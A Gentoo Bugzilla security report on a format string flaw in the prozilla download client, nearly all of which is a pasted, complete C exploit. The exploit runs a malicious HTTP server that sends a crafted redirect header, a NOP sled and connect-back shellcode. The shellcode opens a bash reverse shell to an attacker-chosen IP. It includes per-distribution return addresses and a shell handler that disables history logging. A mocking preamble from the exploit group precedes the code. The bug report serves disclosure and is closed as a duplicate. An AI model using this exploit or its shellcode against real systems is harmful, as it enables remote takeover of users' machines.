Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 81684 - prozilla <= 1.3.7.3 format string exploit
Summary: prozilla <= 1.3.7.3 format string exploit
Status: RESOLVED DUPLICATE of bug 70090
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High normal (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2005-02-11 17:52 UTC by duhblow7
Modified: 2005-07-17 13:06 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description duhblow7 2005-02-11 17:52:20 UTC
http://ares.x25zine.org/ES/code/0x4553-prozilla.c


/*
                      ______   ________
                  ...\\___  \__\  ____/--.....
               .::.:/     /   \__________  \:.::.
             .::::./     /     /      |/    \.::::.
                  /           /       |      \_
                  \    ______/  _  _ _________/
                  .\___\\  \_________/       .
                  .                          .
              ..::....[ Electronic Souls ]....::..


  - Prozilla vs. Gentoo Security round 2 !@#

  Sometime ago there was a private exploit for Prozilla and due to some
  kiddo who randomly 0wned ppl, all ended up with a Gentoo Security Advisory.
  The exploit got released with a note to another bug in the code.
  Well the 31337 Gent00 Security Team claimed to have audited the code
  and put Prozilla back to portage as fixed. 

  The buffer overflow has been fixed (wow what an effort) but the other
  bug is still there! 

  Well this either means they dont know what format string bugs are and
  how to spot them (maybe you should better use automated t00lz,if you cant
  do it yourself, as they would have spotted it for sure :P), or they
  simply are lazy and dont give a fuck about your security.

  We support Anti-Disclosure, but this bug isnt of much use anymore and we
  feel like people should know that they better audit code themselfes before
  trusting a Gentoo security fix. Even a automated audit application
  would have done a better job.

  Hey Gentoo, maybe you should try and enlighten yourself about
  format bugs, instead of pretending :P

  But then again, if everyone would audit as g00d as you guys, we'd
  have a lot more fun ;)  
   
*/

/*
** Prozilla <= 1.3.7.3 format string exploit
** Deicide [ElectronicSouls]
** Not reliable as the previous  stack overflow exploit.
** Isnt it funny that gentoo sec. team + proz developers couldnt spot 
** the format  ?
** Homepage: www.siyahsapka.org ||  deicide.siyahsapka.org
**/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1

struct {
    char *dist;
    unsigned int   ret;
}   targets[]= {
        { "Debian     - proz 1.3.7.3"  , 0x0805e640 },
        { "Debian 3.0 - proz 1.3.6.x"  , 0x0805d638 },
        { "Gentoo     - proz 1.3.7.3"  , 0x0805d8f8 },
        { "Gentoo     - proz 1.3.7.3"  , 0x0805d63c },
        { "Slack 10   - proz 1.3.7.3"  , 0x0805e6e0 },
        { "RedHat 9.0 - proz 1.3.7.3"  , 0x0805d268 }
};


char packet_start[]=\
"HTTP/1.1 301 Moved permanently\r\n"
"Location: http://A";

char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";


char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";


/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
unsigned char shellcode[] = {
  /* write(1,"\n\n\n\n",4) 0x31 times */
  0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
  0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
  0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
  0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
  /* write(1,"\n\n\nEnd of file while parsing header",38);*/
  0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
  0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
  0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
  0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
  0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
  0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
  /* fork(); */
  0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
  /* If we are parent  exit(?) */
  0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
  0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
  0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
  0xfe, 0xc0, 0x43, 0xcd, 0x80,
  /* setsid() */
  0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80, 
  /* signal(SIGHUP,SIG_IGN) */ 
  0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
  /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
  0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
  0x80,
  /* i = connect(sock, sockaddr, 16) */
  0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
  0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
  0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
  0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
  0x4c, 0xb0, 0x66, 0xcd, 0x80, 
  /* if (i != 0) jmp exit(?) */
  0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
  /* write(sd,"SSSS",4) */
  0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
  0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80, 
  /* dup2 loop */
  0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
  0x3f, 0xcd, 0x80,
  /* execve("/bin/bash",{"bash",NULL} , NULL) */
  0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
  0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
  0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
  0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
  0x40, 0xcd, 0x80,
  /* exit(?); */
  0x31, 0xc0, 0x40, 0xcd, 0x80
};


void usage(char *progname)
{
    fprintf(stderr, "Usage: %s [-cp] [ip]\n"\
    "-t <target> \n"\
    "1- %s \n2- %s \n3- %s \n4- %s \n"\
    "5- %s \n6- %s \n"\
    "-c <ip address> connectback ip address\n"\
    "-p <port>       connectback port (default = 8080)\n\n",  progname,targets[0].dist\
    ,targets[1].dist,targets[2].dist,targets[3].dist,targets[4].dist,targets[5].dist);    
    exit(1);
}

/* shell() taken from BrainStorm's code */
void shell(int netfd)
{
   
    if (netfd == -1) {
        fprintf(stderr, "ERROR: failed to connect\n");
        exit(1);
    }

    fflush(stdout);
   
    fprintf(stderr,"\n[ CONNECTED ! ]\n\n");
    {
        u_char data[8192] = {0};
        fd_set fdz;
    
        /* we'll take care of default stuff.. */
        write(netfd,"unset HISTFILE\n",15); 
        write(netfd,"unset savehist\n",15);
        write(netfd,"export TERM=xterm\n",18);
        write(netfd,"export SHELL=sh\n",16); 
        write(netfd,"uname -a\n",9);
        write(netfd,"id\n",3);
        write(netfd,"w\n",2);
     
        for(;;) {
            FD_ZERO(&fdz);
            FD_SET(0,&fdz);  
            FD_SET(netfd,&fdz);

            if(select(255,&fdz,0,0,0)==-1){
                perror("select");
                exit(-1);
            }

            memset(data,0,sizeof(data));

            if(FD_ISSET(netfd,&fdz)){
                if(recv(netfd,data,sizeof(data)-1,0)==-1) {
                    fprintf(stderr, "[x] ewps! connection closed by foreign host.\n");
                    return;
                }      
                fprintf(stderr,"%s",data);
            }  
            if(FD_ISSET(0,&fdz)){
                read(0, data, sizeof(data) - 1);
                write(netfd,data,strlen(data));
            }
        }
    }
}

void put_ip(int i,int j)
{ 
    shellcode[j]=i;
}

void put_xor(int i,int j,int k)
{
    shellcode[j+k]=i;
}

int find_xor(int a,int b,int c)
{
    int i=49,j=49;
    for(i=49;i<255;i++) {
        for(j=49;j<255;j++) {
            if(a==(i^j)) {
                put_ip  (i,b);
                put_xor (j,b,c);
                b++;
                return b;
            }
        }
    }
    return -1;
}

void check_zombie(int x)
{
    waitpid(-1,NULL,WNOHANG);
}


void send_start(int connection,int j)
{
    int i=0;
    char buf[1024];
    char *p = buf;
    strcpy(buf,packet_start);
    p += strlen(packet_start);
    while(i<10) {
        *((void **)p) = (void *) (targets[j-1].ret+6);
        p += 4;
        *((void **)p) = (void *) (targets[j-1].ret+4);
        p += 4;
        i++;
    }
    strcat(buf,"%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x\
    %.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.1792u%hn%hn%hn:%x%x%x%x%x%x%x%x%x%x@");
    if (send(connection,buf,strlen(buf),0)==-1) {
        perror("send");
    }
    fprintf(stderr,"[+] Sending Header Start\n");
}

void send_url(int connection) 
{
    char url[256]="@www.siyahsapka.org";
    if (send(connection,url,strlen(url),0)==-1) {
            perror("send");
    }
}

void send_nop(int connection)
{
    int  i = 0;
    int  j = 1;
    char buffer [1024] ="AA@@";
    char counter [128];
    
    memset(counter ,0x00,128 );
    memset(buffer+3,0x41,1021);
    buffer[1024-1]='\0';

    while(i< 96) {
        if (send(connection,buffer,strlen(buffer),0)==-1) {
            perror("send");
        }
        i++;
        if(!(i%4))
        j++;
        memset (counter,0x2b,j);
        memset (counter+j,0x20,26-j);
        fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
        memset(counter,0x00,sizeof(counter));
    }
    
    fprintf(stderr,"\n");
    fprintf(stderr,"[+] Sending Shellcode\n");
    
    if (send(connection,shellcode,strlen(shellcode),0)==-1) {
        perror("send");
    }
    
}

void send_end(int connection)
{
    fprintf(stderr,"[+] Sending Header End\n");
    if (send(connection,packet_end,strlen(packet_end),0)==-1) {
        perror("send");
    }
}

int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
{
    int control;
    
    if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
        perror("Socket:");
        exit(1);
    }
    
    control_addr->sin_port=htons(PORT);
    control_addr->sin_addr.s_addr=INADDR_ANY;
    control_addr->sin_family=AF_INET;

    if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
        perror("Bind:");
        exit(1);
    }
    if(listen(control,128)!=0) {
        perror("Listen:");
        exit(1);
    }

    *from_len =sizeof(*from_addr);
    signal(SIGCHLD,check_zombie);
    return control;
}


int main(int argc,char **argv)
{
    /* ip patch position */
    int    i=194;
    int    opt_p=0,opt_c=0,opt_t=1;
    int    port,porthigh,portlow;
    int    c,f;
    int    control;
    int    connection,from_len;
    int    ip1,ip2,ip3,ip4;
    char   http_response [2048];
    char   client_request[2048];
    struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
    struct sockaddr_in *from_addr    = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
    
    while((c=getopt(argc, argv ,"hc:p:t:"))!=EOF) {
            switch (c) {
                case 'h':
                    usage(argv[0]);
                case 'c':
                    opt_c=1;
                    sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
                    break;
                case 'p':
                    opt_p=1;
                    port = atoi(optarg);
                    if ((port <= 0) || (port > 65535)) {
                        fprintf(stderr, "Invalid port.\n\n");
                        exit(1);
                    }
                    break;
                case 't':
                    opt_t = atoi(optarg);
                    if ((opt_t < 1 || opt_t > 6)) {
                        opt_t = 1;
                        fprintf(stderr,"[+] Default Target [ %s 0x%.08x]\n",targets[opt_t-1].dist,targets[opt_t-1].ret);
                    }
                    else {
                        fprintf(stderr,"[+] Target [ %s 0x%.08x]\n",targets[opt_t-1].dist,targets[opt_t-1].ret);
                    }
                    break;
            }
    }
    
    if(opt_p) {
        porthigh = (port & 0xff00) >> 8;
        portlow  = (port & 0x00ff);
    }   
    else {
        port     = 8080;
        porthigh = (port & 0xff00) >> 8;
        portlow  = (port & 0x00ff);
    }
    if(!opt_c) {
        usage(argv[0]);
    }
    memset(http_response,0x0,MAX_RESPONSE);
    control = init_socket(control_addr,from_addr,&from_len);
    
    /* patch ip */
    i = find_xor(ip1,i,6);
    i = find_xor(ip2,i,6);
    i = find_xor(ip3,i,6);
    i = find_xor(ip4,i,6);

    /* patch port */
    i  = 207;
    i = find_xor( porthigh,i,5);
    i = find_xor( portlow ,i,5);
    
    
    while(TRUE) {
        if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
            exit(1);
        }
        
        fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
        if (read(connection,client_request,sizeof(client_request))==0) {
            exit(1);
        }
        
        /* Victim Responded */
        if(strstr(client_request,"Prozilla"))
        {
            fprintf(stderr,"[+] Victim using Prozilla.\n");
            f=1;
        }
        else {
            if(strstr(client_request,"SSSS")) {
                fprintf(stderr,"Nice , Victim Responded!\n");
                shell(connection);
            }
            else {
                fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
                if(send(connection,real_response,strlen(shellcode),0)==-1) {
                    perror("send");
                }
            }
        }
        
        if(f==1) {
            /* HTTP */
            send_start(connection,opt_t);
            /* Memleak - Nop sled */
            send_nop(connection);
            send_url(connection);
            /* HTTP END */
            send_end(connection);
            f=0;
        }
        
        close(connection);  
        memset(client_request,0x0,sizeof(client_request));

        if (fork()==0) {
            free(from_addr);
            free(control_addr);
            exit(0);
        } 
        else {
            close(connection);
        }

    }

    printf("Done");
    return 0;
}
    
    


Reproducible: Always
Steps to Reproduce:
1.
2.
3.




the package is masked by default.  this is a format string exploit, not to be
confused with the previous bof fixed a few months back.
Comment 1 Luke Macken (RETIRED) gentoo-dev 2005-02-11 18:05:24 UTC

*** This bug has been marked as a duplicate of 70090 ***